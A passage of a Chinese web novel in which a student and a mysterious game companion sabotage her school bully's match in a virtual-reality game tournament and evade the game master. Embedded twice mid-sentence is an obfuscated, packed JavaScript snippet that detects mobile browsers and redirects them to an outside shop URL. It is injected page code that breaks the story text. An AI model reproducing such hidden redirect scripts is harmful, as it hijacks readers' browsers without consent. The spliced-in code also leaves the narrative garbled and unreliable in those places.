下场比赛的一方选手也许是为了这难得上电视的机会,此刻换了件很是骚包的衣服,上场前还缕缕头发,很嘚瑟地扫视了圈周围。 但就算换了衣服,哪怕这人是光着上台,韩思也能认出他是谁,毕竟线上线下公用一张脸的人实在太少了,更何况潘邢的这条狗腿子每天在学校抬头不见低头见的,偶尔还会贱兮兮地跟着奚落自己几句,也是张让人讨厌的脸。 这块屏上怎么是他? 转头看零零零还在目不斜视地看大屏幕,她在心中默默叹口气,男生好像是都对这些挺感兴趣的,他一直陪自己做题,这次就当陪他来看吧。 只是她不太愿意看见和现实有关的那群人。 反正脖子看酸了,韩思索性低下头,揉了揉自己的后颈。 忽然后颈有些冰冰凉凉,抬头看又是零零零关切的脸,他的手指偏长又有力,捏在她的后颈。 韩思下意识想错身,但零零零的力气还挺大,又捏在后颈这种敏感的地方,愣是没成功躲开,刚想张嘴说话,就听零零零的声音先一步响起:“是这里酸吗?” 他先低头,眼眸清透,满是无辜和疑惑。 这样倒显得韩思硬躲的话,像是在欲盖弥彰了。 零零零下手的力度恰到好处,捏了两下就放松了不少。 本以为就这么大大方方给他捏完就结束了,没想到他又凑近不知道在仔细打量什么。 韩思有些担心:“我脖子后面有什么吗?” 零零零忽然又手指摩挲了两下,手指尖独特的触感摩擦在后颈上,惹得韩思一激灵,还没反应过来,他一面说话一面是轻轻的呼吸喷落在耳后。 “是捏太用力了吗?总感觉你的脖子有点红。” 要不是零零零不太像那种会刻意恶作剧的人,眼里又全是盛满关切,韩思都要觉得他在故意逗自己玩。 在红晕升到脸颊之前,韩思及时扣住了他的手腕,为了赶紧移开话题坦白道:“我没事,就是不喜欢台上那个人,所以不想看。” 韩思的眼睛盯着那被抓住的手腕,全程没敢抬头对视,也错过了少年眼底若有若无略带捉狭的笑意。 零零零没再继续,他也怕被韩思发现了她真的生气,顺着话题道,“可是你讨厌的那人输了啊,你不抬头看看吗。” 韩思带着惊讶抬头,大屏幕上是张鼻青眼肿肿得像是猪头一样的脸,还有放大特写镜头,距离比赛开始也不过是十来分钟的时间,怎么会已经定胜负了? 而且上一把都没打这么狠的吧,这都是往死里打了。 “这小子抽到的对手是个氪金大佬,而且这人臭名昭著,下手会故意往死里打,直到触发死亡保护装置。” “真倒霉啊,运气这么差初赛就碰见这种人。” “可不是吗。” “不过也真没想到这小子看上去还挺结实的,没想到这么不禁打,几下就没了。” 前面两个落腮胡大哥的聊天倒是正好解答了韩思的困惑。 风水轮流转,这次总算轮到他们运气差了。 韩思有点幸灾乐祸说道:“运气真差。” 也许因为潘邢那群人都在一块报名的游戏,他们比赛的时间也几乎是同时,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564458|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边大屏刚输,另一边接连好几个大屏都是熟悉的脸,就算脸不熟悉,那些个账号id对照现实也都能猜出个七七八八来。 韩思一眼就看到了潘邢,他高调地扬起自己手上的武器,身上穿的虽然不是商城里最贵最亮的,但韩思偷偷打开商城看了眼,全套下来也要万把块钱。 “那玩家有钱啊,那把武器不是神武吗?全服好像就十来个玩家做出来了吧?” “还记得前几年新兴的地产公司吗,他就是咱们省潘家的三儿子,还是读书的年纪吧,不过这点钱对他们家来说不过是少顿饭就出来了,含着金钥匙出生的,一出生就和普通人不一样。” “不是听说他前几天为了能登顶这游戏把好几个玩家故意杀到开启死亡保护装置吗,就为了捡他们掉下来的装备。” “每天给游戏上万块氪金的大爷,发几句话警告警告得了,真封是不可能封的,干什么和钱过不去,我要是和他在一个班上也绝对唯他马首是瞻,随便抖点钱下来都能让我吃香喝辣的了。” 韩思逼迫自己视线从面前聊天的几个人身上移开,他们越聊韩思就越后悔当时为一时之快得罪了人家的事情。 其实她知道潘邢家里有钱,但她不知道原来竟这么有钱,几万块不过是顿饭的话,的确有点超乎她贫瘠的想象力。 她麻辣烫点超过二十都要心酸好久嘞。 公屏里突然冒出串话,还用的是二十来块喊一句的大喇叭,唰唰唰突然喊了好几条。 无外乎都是些关于这是我对象,你们别看了,看了也不是你们的这类的话。 不用动脑就知道是那个和潘邢一直走在一块女生,她左一句右一句炫耀,恨不得在场所有人都能知道他俩是一对。 “那人有女朋友啦?” “他女朋友看上去挺漂亮的,两个还挺般配。” “也不知道女方有没有钱,这下真攀高枝了。” 也难怪潘邢女朋友在公屏里喊话,韩思看了眼公屏才发现知道他有钱后妄图攀龙附凤的人不在少数,还有些干脆就在公屏上给他加油起来,甚至各种性别都有,落腮白胡子老爷爷都有,希望留个好印象的目的显而易见。 擂台附近的观众也有不少直接开麦大声喊加油的,那声势浩大的样子,看上去好像他人气还真不错。 和着些光芒万丈的天之骄子比起来,自己倒像阴沟里的老鼠了。 想到这里韩思立刻反驳自己,屁屁屁,这群仗势欺人的才是大老鼠,他们只是不知道这人背地里有多恶心,所以才会。 但就算知道了呢…… 就例如班级里大家都知道他是垃圾货色,但那又怎么样了呢,也不耽误他混得风生水起,和他对立的都会遭遇谩骂和冷眼。 “你喜欢他啊?” 纠结酸楚的情绪刚刚酝酿,就被不适时宜的提问打断,待韩思听清楚问题后,她的脸上的是大跌眼镜:“你说什么啊?你说我喜欢谁啊?他?” 韩思伸手指台上又伸手指自己,叹气。 “你怎么这么年纪轻轻就瞎了。” 11. 共犯 零零零手放在下巴若有所思:“那你一直盯着人家看干什么?” 不得不说韩思盯着的那位男玩家确实挺帅的,又有不菲的衣着加成,听说还是个有钱人,又在线下和韩思是认识的关系。 有点不爽。 见韩思不吱声,他身体前倾,眼里是无辜疑惑,鼻腔发出轻轻的:“嗯?” 两颗头贴得很近,但不过片刻就被少女的无情铁手推远。 “看比赛不就是要盯着看的吗?”韩思一时间都不知从哪里吐槽起,她忍不住道,“我就算喜欢你也不会喜欢他。 说着有些顺嘴又有点不解恨,潘邢这种人死不足惜,她又拧紧眉头大放厥词:“按照对他的讨厌程度来说,我就算爱你爱得能殉情,也还是希望他能早死早超生。” 难为韩思这样一个情绪内核稳定的人,能如此生气。 发泄完情绪就后悔,感觉和零零零呆久了她说话也暧昧,于是又补充道:“没有说喜欢你的意思,只是想诅咒他早点破产。” 少年的回答悠哉悠哉传来:“没事,我也不想殉情。” 韩思:“……” 分明听出了他在调侃。 “其他人也是你当时和我说的,让他们初赛就刷下来的吧。” 话题被零零零举重若轻地带了过去,顺着他手指的几个方向看去,屏幕上都是些被打成猪头的脸,轻则摸爬滚打,重则满身狼藉连连求饶。 “他们都输了哦,心情有没有好上一些?” “有的是氪金大佬,还有些特别肝的排位很高的玩家。”韩思也拼拼凑凑看出了些什么,比起开心,更多的是困惑,“怎么会都这么倒霉。” 若说一个是巧合,那么多全军覆没的话,未免也太巧了。 虽然理智告诉她,零零零不可能在其中捣鬼,那可是系统随机抽取的比赛顺序。 但韩思还是狐疑地看了眼身旁的少年。 零零零摊摊手:“大概是他们运气不好吧,竟然都碰到了排行榜前位的对手。” “不过也不是全军覆没,我最讨厌的那个人倒还留在台上。”话虽是这么说,但韩思实际上已经不太在意了。 潘邢到底是用数不尽的钱和小弟们堆上来的,硬实力摆在那里,怎么说也是全服前几的,这次比赛肯定能拿名次。 对手虽然也很强,但潘邢看样子还是能赢得初赛。 他女朋友也在台边跃跃欲试打算上台了。 两人好像为了这比赛,特地穿的还是那套新出的限定情侣装。 所以看着战局逐渐往一边倒,她也不太意外。 但零零零的反应好像比她还大点,他的手摩挲过下巴,“不行啊。” 他的手碰上韩思的手,指尖擦过掌心,有什么东西轻落下,韩思下意识接住。 就听见他凑近贴在她耳边,压低声线说道:“我记得你投射技能挺有准头的,要不要把这个扔他的脚下。” 也许是系统串线,她抬头发觉,不知什么时候,竟然换了一个服务器。 潘邢就在视线范围内的距离。 “?”韩思打开手,掌心躺着的是一个黑色的珠子,“百花谷的特产?给他送赢了比赛的礼炮吗?” “同类型的小东西,里面没有花,装的是油,具有百分百跌倒功能。”零零零看戏般解释道。 韩思愣神片刻才回道:“好荒谬。” “因为本来就是临时想的办法,你不是很讨厌他吗。” “但这是不是作弊,属于恶意破坏游戏秩序,系统也不是摆设吧,这样算外来干扰,充其量是中止打平,几乎不可能直接判定他输了比赛吧。最重要的是,如果我们被发现的话,会被官方惩罚吧。” 她越想越觉得可行性不大。况且零零零会突然提出这个计划实在是奇怪,他又不认识潘邢他们,犯不着冒大风险也要去让他输吧。 她封号无所谓,她甚至连游戏的主线任务都没过,但零零零不一样。 零零零却摇了摇头。 “只要他输了,在抓到扰乱秩序的人之前,他的失败会先一步判定。是有被封号的可能,但你不是非常讨厌他吗,如果有那么讨厌的话,被封号也无关紧要吧。” 他语调张扬,步步紧逼。 韩思莫名感到有些不舒服,零零零现在的状态,好像有点奇怪。 他话说完就又想回过神般,眼底里的一些情绪瞬间如潮水回退,琥珀色的眸子忽然荡漾春风般的笑意,又恢复成欠兮兮的样子:“逗你玩呢,我就知道胆小鬼不敢。” 他的手又伸过来,似乎想从韩思的手掌心把那颗小黑珠子拿走。 那春风般的笑容好像还没来得及触及眼底。 韩思的手倏然握紧。 她转头问道:“为什么。” 如此近的距离,肌肤容貌分毫毕现,甚至都能感受到他的呼吸轻喷在脸颊。 零零零的神色变化如此清晰,在没能成功拿走珠子时,他脸上好像闪过那么一瞬的无措。 他收敛起笑意,认真道:“你不是胆小鬼,但还是给我吧,你去做这些事情不好,我不能保证绝对不会被发现,所以给我吧。” 见韩思在犹豫,他侧身,手试图直接抓住韩思的手。 韩思躲开。 零零零一开始的表情并不像只是简单逗着玩,虽然他总是满嘴跑火车,时常说话暧昧不着调,可他有一点从来没变过,就是那份嚣张的自信。 为什么他忽然反悔了呢? 她不知道。 但正好韩思确实很讨厌场上的潘邢。 正好零零零给了她报仇的机会。 正好确实如零零零所说,《仙缘》只是个对她来说并没有很大意义的游戏,要是她真被封号了就不玩了呗。 韩思越过少年手的阻拦。她抬起手,小珠子飞起完美的抛物线,就像潘邢他们把别人的试卷扔到窗外的那天一样,只是正好这一刻没有风。 她确实扔东西相当准。 珠子完美落地,无声融化融入在台上,发现脚下地面陡然变滑地只有当事者本人。 他的对手也是个富家子弟,来游戏里就是为了爽一把的,本以为初赛可以随随便便就过,享受享受台下万众瞩目的欢呼,后面复赛再请代打就完事,谁能想到刚上来就碰上个血气方刚在学校里就以打人为乐的混子。 此刻看到对手脚下一滑当然是不能放过这机会,找准了就往地上狂放技能,哪里亮了点哪里,可得好好发泄心里的憋闷。 不过潘邢操作也熟练,又趁对手不备站了起来正打算反击。 韩思转头看着零零零,欲言又止:“你还有吗,反正一颗是破坏秩序两颗也是破坏秩序……” 零零零叹口气:“是我先不好的。” 他难得语气里毫无轻浮的调调,仔细一听还隐约有点在道歉的意思,这人脸皮这么厚竟然会道歉?当时他故意使坏让她射落苹果砸无辜路人都没道歉。 韩思没来得及多想,台上战局又要五五开了,手掌心上又落下粒珠子,触感冰凉。 她自嘲道:“感觉我们有点像是那种小说里在背后做坏事的坏炮灰。” 又是一道不起眼的抛物线。 台上的潘邢手腕又被不知道什么东西打到,有如被喷了一手的油,刚举刀欲砍的姿势,却因武器没能拿稳,竟在众目睽睽下脱手。 连台上的对手都大声笑了。 台下哄笑声一片,虽然碍于潘家面子,不少私聊蛐蛐,但又有不少人本来就看不惯潘家,直截了当地在公屏上笑话。 “这贵公子哥果然不行啊。” “看上场的样子,还以为是什么狠人呢,没想到就一草包。” 如此众目睽睽下的羞辱,他这种出生后就顺风顺水的人哪里遭受过,于是毫不意外地乱了分寸,被对手毫无技巧的乱打逼到角落,不过一分钟,潘邢顶上赫然亮出挑战失败几个大字。 他女朋友虽然也有些脸上挂不住,但潘邢好歹是她男朋友,现在躺在擂台上,她还是硬着头皮灰溜溜上台接他下来,没想到刚上台就脚下一滑,又摔了一跤,因为这套情缘女装是高跟鞋,所以摔得四仰八叉,显得更倒霉了。 刚爬起来整理好衣服,伸手打算扶自己男朋友起来,却又被潘邢先一步甩开。 “滚开。”他恶狠狠的目光看向台外人群,来回扫视,“客服呢?肯定有人故意捣乱,我不服这个结果。” 潘邢目光扫过场中,韩思跟着心脏加速,她脸皮薄,竟也生出些心虚来。 下意识转头看零零零,却没想到他此刻手指飞快在面板上的敲敲打打,都快出残影了。 韩思疑惑:“你在做什么?” “他不是在召唤GM么,我得卡GM进服的通道。”零零零忙到没时间回头,“GM要是查到得罚咱俩,我发誓再也不会说你是胆小鬼了。” “这逃得过初一逃不过十五吧。”韩思没那么重视这个游戏,听到真有可能被封号竟还放下心来,随口接了自己的上文,幽默道,“果然在背后干坏事的炮灰活不过几章就得下线,不过不是你扔的话,你应该不会被封吧。” 自己冲动的后果就自己承担,零零零那么喜欢这个游戏,他要是被封了得哭死。 “嗯,我没扔所以没违规。”零零零操控键盘的手一顿,抽空细数自己的罪行,“但我故意卡bug不让GM进游戏,怂恿玩家破坏比赛规则,还有篡改选手的比赛顺序,我们是共犯哦。” 他语调轻扬,就好像在说和自己无关的事情,就是说的话让韩思大脑绕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564459|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下弯才反应过来:“等等,所以那几个不是真的倒霉。” 只是因为韩思恰巧碰到了他。 她认真道谢:“谢谢你。” “啊……”少年收回面板,转头难得严肃脸:“不过你得现在下线了,你还是z省的学生吧,最好还是不要得罪潘家。” 韩思犹豫了下没说已经得罪了的实话。 反正她只要熬过这一年就会离开这座城市。 她道:“就算下线了也会被追查吧。” 零零零却很笃定:“不会。” “那你呢。” “我没事。”他错开目光,回头看向台上,毫不在意道,“况且我又不怕他,不就是有点钱升了官的暴发户,不过你以后不玩这游戏了也要记得我哦。” 他说没事真的会没事吗。 他那么喜欢这个游戏,怎么现在看上去被封也无所谓的样子。 “搞什么,又不是只有游戏一个可以见面的地方。”这个游戏对韩思来说并不重要,但游戏里的人不一样。 她从零零零的话里听出了些不妙的意味,忽然语调有点着急,口不择言,“就这样不见面了,我舍不得,我说我舍不得你用你聪慧的大脑教我做题。” 零零零好像只在游戏里存在一样,好像只要离开了游戏,这段奇妙的缘份就会戛然而止,因此在这个问题上他总是避而不谈, 就算这次也一样,期许的目光在沉默里黯淡。 其实韩思是个倔犟的脾气,做下决定后几头牛都拉不回来的那种。 她灵巧躲开零零零的手,回瞪了眼:“不要动手动脚。” “再不下线就来不及了汉斯小姐,你现在下线不一定会被封号。” “你想强制我下线?” 零零零的沉默简直是默认。 韩思拒绝的手势举在额前:“我不走。” 分明是她的错误,不应该波及无辜者承担责任。 几乎是话音刚落的同时,台上GM上线,站在四周观众又议论开了,这次真是一次比赛看多重精彩表演。 潘邢在公屏上刷屏谴责:“台面上突然变油,而且只有我的脚底,绝对是有人故意搞的。凭什么判我输?你们最好给我个合理的解释,还有是谁干的,就算是用排除法一个一个查过去也要找到,我饶不了你们。” 他的狗腿子们也在附和:“你们游戏没有一点公正可言吗?” 韩思忽然感觉有点好笑。 他们仗势欺人的时候怎么就想不到公平公正。 看样子协商暂时无果,他又在公屏上直接喊话:“我最不缺的就是钱,这件事过不去。什么叫做系统已经判定了输赢就没办法改结果了?” 后半句话很熟悉,零零零信誓旦旦说的话确实没错,潘邢落败已成定局,就算GM到场也不会给他再来一局的机会。 也不知道在众人面前丢这么大的脸,潘邢他们还会不会继续玩这个游戏。 不过如果真被封号了,好像以后再也没法见到零零零了。 她后悔了,要是早点知道再也见不到零零零的话,她绝对不会这么冲动。 “你真的不说吗。”想到这里韩思又看向零零零的侧脸,不死心道,“你没有其他的社交软件吗,你不想和我保持联系吗,就以朋友的身份。” 心底有点儿不理解有点气,还有很多的难过好像要把她包裹窒息。 零零零是故意的吗,也许他觉得自己和他的关系没那么近,所以没必要在游戏之外产生瓜葛。 自从来到这座城市,她本来就没几个朋友。 这下好像连丁点儿的风也要远去。 零零零张开手,虚抱了下她。 他看着少女的发顶,这次没有被她推开,怀里的体温似乎能感触到,如此鲜活。 然而片刻后看到少女眼角微微湿润,零零零慌神了。 他小心翼翼道:“你先别难过啊,你先别难过。” 这下该怎么开口说他是故意的,他只是一时鬼迷心窍,突然想知道如果有一天他离开了,她会不会记得他曾来过,他觉得少女的反应大概会很有趣。 本来韩思只要在GM上线前及时下线,下次上线的时候再糊弄下这件事就可以轻易揭过。 只是她好像,远比表现出来的,更割舍不下他。 惭愧的同时,一种奇怪的餍足萦绕心间。 他的手指在空中伸过去也不是,缩回来也不舍得,一直动不动就不要脸动手动脚的少年此刻说话都变得小心翼翼,他试探道: “其实还有个办法,你先别难过好不好,我们再试试看其他方法。” 眼看着GM大步流星从擂台上下来打算走过来,零零零也来不及多说解释了,转身拉住韩思的手腕:“走。” 12. 小铁剑 手腕被用力拽过去,瞬间的黑暗过去,韩思再睁眼,环顾四周,竟是无数双望向这里的目光,城门就在身后,旌旗飘荡如此之近。 再看脚下,已是擂台之上。 不用多想也肯定是零零零搞出来的花样。 突然之间的变故太多,思维跟不上节奏,她抬头看向零零零:“怎么回事?” “擂台赛。”零零零松开手,站在台上俯瞰四周,最后目光又落在韩思的脸上,他眨眨眼,“你不记得你答应过我的吗,你还欠我好些个五星好评呢,所以我特地替你报了这场比赛,不过我们这次得打得时间久一点……” 韩思好歹是高中生,只是社会经验不足而已又不是真蠢,不仅没有被他牵着鼻子走,反而有点后知后觉地醒悟过来,隐隐有种被欺骗的感觉,她盯着零零零,开门见山道:“不,我是想问你,GM怎么办?被惩罚的事情怎么办?” “嗯。”零零零深呼吸一口气,既然无法蒙混过关,他决定长痛不如短痛,扬起无害的笑容道,“其实我有想到有备用方法能逃开GM的,凭借擂台赛的串线GM无法把我们抓个现行,这样我们不会被罚了。” 他的笑容还是一如既往地温柔又阳光,好像刚才发生过的事情可以被轻而易举一笔带过。 韩思的脾气向来内敛,只是此刻却难免泛起些火气:“为什么一开始不告诉我?” 被自以为可以信任的朋友戏耍,又在他面前差点狼狈地哭出来,在欺骗自己的时候,他心里会是怎么想的呢?是觉得很有趣很好玩吗。 不知是不是瞪着看他太久没眨眼,韩思的眼眶忽然有点酸。 还有脸上仿佛要烧起来的火辣辣。 “因为在GM上线前直接下线确实是更好的选择。”零零零忽然压低了声音,走近几步,暗戳戳道,“我以为你不喜欢上擂台的,底下那么多的人在看着呢。” 少年的下颌线其实很分明,只是经常掩藏在细碎的黑发里所以显得柔和。 他的声音轻飘飘的,好像说得在理又靠谱,但其实根本没有正面回答自己的问题。 韩思恍神了一瞬。 也许是从未在他人身上获得过如此炽烈温暖的情感,只是相遇不过一个月,但她竟比自己预估的更舍不得松手。 其实零零零也没错,他一开始就说得明白,仅是因为单纯的交易关系,两人的牵绊才会一直在。 年少的悸动在不知道哪场风吹过的时候,悄然破土,只是因为没有回应,所以在猝不及防意识到的时候,丢人显眼了。 真不想承认。 她抿着下唇,眼神掠过台下的各路玩家,或窃窃私语,或大声吆喝,或吵架打架。 “台上打不打啊?” “这两人怎么不打啊,这边的擂台真没劲。” “不打就下来嘛,这么耗着干啥子嘞?” “是不是新手报错了?那女生是新手村装扮吧?” …… 最终目光落在言笑晏晏的零零零脸上,他侧着脸,也在看台下,哑然失笑:“好像被骂了,要我说,要不按照一开始的计划来吧,你用平A戳我两下,我就找地儿躺着,不过就是得陪我多丢人一会儿,隔壁线的GM还没走呢。” 真不想承认,但她好像是有点喜欢他的。 作为高三生,韩思上游戏每天只有不过四个小时,其中至少三个小时又花费在做题目以及和零零零的唠嗑上。 折算下来每天也就一个小时有时候还不到的时间和零零零一起做游戏里的任务,她目前的进度也就刚完成新手村一点,尤其是战斗线后面的拜师入门都没开始。 所以毫不意外,她只能平A。 丢脸就算了,还在众目睽睽下丢脸。 韩思用力闭了闭眼,甩了个平A过去。 零零零压根儿就没躲,甚至还侧身接了下,小飞镖啪唧一击打在他的胸口。 这小飞镖作为新人技能,因为还没有经历锻造磨砺增加锋利度和坚硬度,零零零又是老玩家,防御力upupup,所以一碰到就和弹力玩具似的。 但他捂住自己的胸口,夸张地“啊”了一下,又偷偷瞄了眼韩思。 韩思犹豫了下,第二第三下攻击故意甩歪到一个斜对角。 零零零侧身跟上去在台上跑了个来回,又擦擦额角不存在汗,压低声音偷摸道:“尽量准一点吧。” 韩思点点头没做声,后面几下全都朝一个方向唰唰唰一齐发出。 零零零闪得飞快,这下脸上的惊慌失色不是装出来的,他抗议道:“能不能不要朝脸打,这也太公报私仇了。” 韩思没理会他的抗议,反正事实上连他的防御都打不破,她随手放平A,有的技能刚获得还没有用过,连怎么锁定目标都不清楚,就东边一发西边一刀地挥出去了。 有时候还夹带些奇奇怪怪的休闲技能,例如橡胶鸭子,在撞上零零零的后脑勺后嘎嘎了两声,才掉落到地上,被不小心踩到又惨叫‘嘎’了一声。 零零零满擂台地跟着攻击跑,因为他得吃满技能才能结束比赛,偶尔还不得不从她的面前经过,跑动的风带起衣摆飘动。 台下嘘声哄笑声一片。 “好奇怪啊你们看对面,对面貌似也是新手,这种平A还到处逃窜。” “什么逆天运气,两个新手能碰到一起。” “感觉更像是演员!” “是演员吧,擂台赛碰上熟人了?这种要投诉举报!” “好搞笑,帅哥和猴子一样。” “举报啥啊,这可比那群喊打喊杀左一刀右一刀的有趣多了。” …… 又不知道按到哪个技能,一阵大风刮过,韩思的手上竟多出了个钱袋子。 零零零愣神片刻后,后知后觉地摸了摸自己的身上,又摸了摸衣兜,咬牙道:“这种流氓技能我就说不该出现!幸好这次是钱袋子……” 韩思和钱袋子大眼瞪小眼:“……” 不是钱袋子的话还能是什么,她脑子转向歧路转得飞快,打量了眼零零零因跑动而稍许有些打开的衣襟和洁白的皮肤。 钱袋子上貌似还有点体温。 这游戏蛮恶俗的,真蛮恶俗的啊! 瞬间她就把钱袋子遥遥扔回零零零的怀里,犹如烫手山芋。 脸颊通红又要烧起来了。 她别过头去,宣告自己决定投降,吞吞吐吐着开口:“……算了,我不打了,你打我吧。” 言下之意是骗她这件事情也就此翻篇。 倒也不是单纯因为钱袋子。 最重要的是一个一个平A过去要打到什么时候去!在零零零的如此努力下,他头顶上的血条才刚刚擦破层皮而已,打掉五分之一才能选择投降,这至少还得磨近一个小时。 零零零靠近凑过来,却是一本正经摇了摇头:“不行,都打这么久了,哪里能就这么算了。” 既然已经决定既往不咎了,韩思也学着零零零的那种洒脱不在意,调侃道:“我怕比起打赢你之前,你先累死。还不如你给我一下吧,我们就别在台上继续丢脸了,好多 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零零零头顶上的血条瞬间掉得飞快,一下子半管血下去,还在一截一截地掉。 他说:“这样就好啦。” 桎梏住手腕的力量松开,韩思条件反射般拔出了小铁剑,说话的语句都不连贯。 “对不起。你痛吗?要不要止血?” 零零零的脸上是毫不在意,语调平稳得就好像不是捅在他身上,没有感受到任何疼痛那般。 “这是游戏,不用止血。”他只是睫毛微颤了下,唇角勾起和煦笑容,琥珀色的瞳孔仿佛能倒影出自己惊慌失措的脸,他调侃道:“你这样要是在现实生活里,我就真死了,刺到大动脉可不能直接拔出凶器,要先固定住送医院。” 零零零的洒脱和自己理解的不一样,他好像只是单纯把所有的事情都没放在心上。 还有小半截血条的零零零生龙活虎,“喂喂,比赛结束了,快点一起下去啊,台下的人在扔西瓜皮了。” 他抬手挡掉了几个从台下扔过来的西瓜皮鸡蛋,但毕竟攻击来自四面八方,还是有几个鸡蛋落在他头上也砸在韩思的脑袋上。 台下也挺热闹。 “退钱!演员!这局没意思!” “我就猜到了是演员!” “可恶的小情侣!怎么擂台赛还能匹配上!” “都给我下去再谈!” 韩思被砸回神了,一抓头发都是黏糊的蛋液,零零零是长发,又身形颀长目标更大,挡在前头,更狼狈不堪,他哼哼唧唧道:“快点下去了,我要被砸死了。” 韩思也受不了这目之所及都是鸡蛋西瓜皮犹如在下雨的台上,拉过他的手臂就跑。 灰溜溜逃窜间,零零零还不忘在耳边碎碎念:“不生气啦?” 韩思好声好气地回他:“早就不生气了,我没那么容易生气。”这也是实话。 “还有任务的好评,也一并给你了。” 闻言零零零喜上眉梢得不要太明显,眉眼弯弯道谢。 韩思刚想冷哼,又转念这搞得好像她在和个好评吃醋似的,属实荒谬,便立刻咽下这句冷哼,只是脸上难免有些明显的情绪交替。 逃下擂台,逃出了人群很远,周遭的喧嚣都随着奔跑而后退,景物在虚幻和真实里摇摆不定,掌心和掌心之间的触碰却传来温度。 等等。 刚抓的不是手臂吗? 仿佛被灼烧一样,韩思松手,下线,一气呵成。 13. 柠檬茶 翌日,前些天在游戏里中奖到的柠檬茶到了,做完三套试卷后韩思下楼去拿,在驿站看见整整二十四瓶超大一箱的快递时就傻眼了。 虽然秋意已至空气里颇有些凉爽,但抗上六楼的时候还是累得她满头大汗,游戏里轻如飞燕到底是虚拟的,在现实里她是个跑完八百都会喘得想干脆咽气的体能菜鸟。 刚关上门就觉得膝盖靠下的位置一阵作痛,结痂不久的皮肤因为运动而撕裂开,血液从裂隙里渗出,混杂着汗液又疼又酸爽。 韩思一瘸一拐走到房间里,掏了瓶酒精洒上消消毒,痛得直上天灵盖,又盖了层布料,抬腿踢脚活动筋骨,又忍不住龇牙咧嘴。 潘邢他女朋友真够狠的,她也够倒霉,摔的那天碰巧热,穿的还仍是过膝的半裙裤,拉了老长一道的血痕,又深,看上去还挺血肉模糊的。 消毒吧酒精太痛,不消毒干净吧又怕发炎化脓。 犹豫再三,剩下的酒精还是没敢再喷上。 已经喷了不少了应该够了吧。 下午等伤口稍微好上点,她就去洗个澡,洗好澡拿上一瓶柠檬茶,喝上口感觉又酸又甜得有些发齁,于是塞了三瓶放冰箱里,冰镇一下应该不会这么甜了。 回到卧室,难得没有一回去就上游戏,而是呈大字型躺在床上,有些辗转反侧。 比起一鼓作气进游戏来说更想理清一下和零零零之间的关系,虽说只是一个月的相遇,却有好多变化超乎意料。 从昨晚下线到早晨做题,偶尔控制不住大脑少年的帅脸就突然闯入,手掌心上好像还留有触碰的余温。 每次想到这,做题的笔尖就猛猛用力,险些戳烂试卷。 首先,她深呼吸一口气,做出了理智判断。 两人绝对不属于情侣,也不可能踏出成为情侣的那一步。 因为零零零明确表示过不喜欢她,不仅坦诚得惊人还毫不避讳,背后的原因显而易见,自然是因为绝无可能,才会毫不在意。 二则韩思更是个内敛的性格,她绝对不会把心底的悸动暴露出来,她深知若是被零零零知晓的话,只会让两个人都陷入尴尬的境地。 至于和他一拍两散这个选择。 不得不说零零零做个朋友也是个很好的可以舒适交心的朋友,虽然有时候嘴巴挺毒,但心眼不坏,偶尔也会帮忙仗义出头。 就算仅仅保持做题之间的联系,他都是位相当优秀的老师,随时可问,讲题也循循善诱,问多了也不嫌烦,还不需要付钱,唯一的报酬是陪他打游戏。 简直是百利而无一害。 虽说除却这些理智的考量外,心里不免还藏了点少女的私心,不过也无关紧要,这么点小小的刚破土发芽的苗头以后有的是时间掐灭。 做充分心理准备后,韩思上了游戏。 也许是这次上线时间比之前早了很多,一睁眼没有零零零的帅脸在眼前晃荡,百花谷的这片草地突然看上去有点空旷陌生。 想着一个人安安静静做题也好,但做了三道基础题后,她还是鬼使神差地呼出面板,点开好友列表。 好友列表里除了客服外就只有零零零,零零零的头像是他的帅脸,还挺自恋。 不过头像上的他没有笑,毫无情绪温度的时候,因过于精致的五官再结合琥珀色的瞳孔,这头像莫名有种类人感,显得陌生又不好靠近。 不愧是网瘾少年,零零零是在线状态的。 他在做什么呢? 每次上线的时候零零零都围着她转,然而她对于他的生活却所知甚少。 传送过去看看?这个念头一旦升起来就按不下去,好奇心在驱动,反正游戏朋友之间传送来传送去是个很正常的行为吧。 韩思第一次使用传送功能,倒也没有什么花里胡哨的特效,和零零零之前拉她串线的时候差不多,眨眼间的黑暗过后就是柳暗花明。 【传送失败,传送对象正在副本中,已为您选择就近地点。】 一行字后再睁眼,眼前是里三层外三层的人,大批玩家正排队进副本,有的队伍人没凑齐,看见有人传过来目光纷纷看过来,发现是个纯新手后又纷纷收回。 韩思随处找了个地儿坐下,听说有的副本要打一个多小时,也不知道零零零什么时候出来,她盘算着要是等个十来分钟人还不出来就回百花谷做题了。 副本里动不动就有队伍被扔出来,大部分一看就是临时组的,出来就骂骂咧咧:“你这女生也太菜了。”“你怎么不找找你自己的原因?你看看你输出多少?”“指挥和狗屎一样还怪人家女孩子。”“垃圾玩意儿你们就应该*****去你*****。” 接着不失众望,被强制禁言了。 只是没想到还碰见了熟人被副本扔了出来,几个人狼狈躺在地上,虚脱了似的,身上或多或少带点泥巴,又从包裹里开瓶药,状态好些了再从地上爬起来。 是那几个流泪猫猫头,还正好被扔在韩思脚边不远处。 “这新开的本也太难打了吧!!” “谁能带我们过首刷,有没有大佬带带[小猫投降.jpg]。” “我就想要刷那个装扮啊!怎么这么难。” 流泪猫猫头的队伍里这次好像多了几个男生,其中一个高高瘦瘦戴着眼镜,看着挺斯文,不太像是玩游戏的,还在道歉。 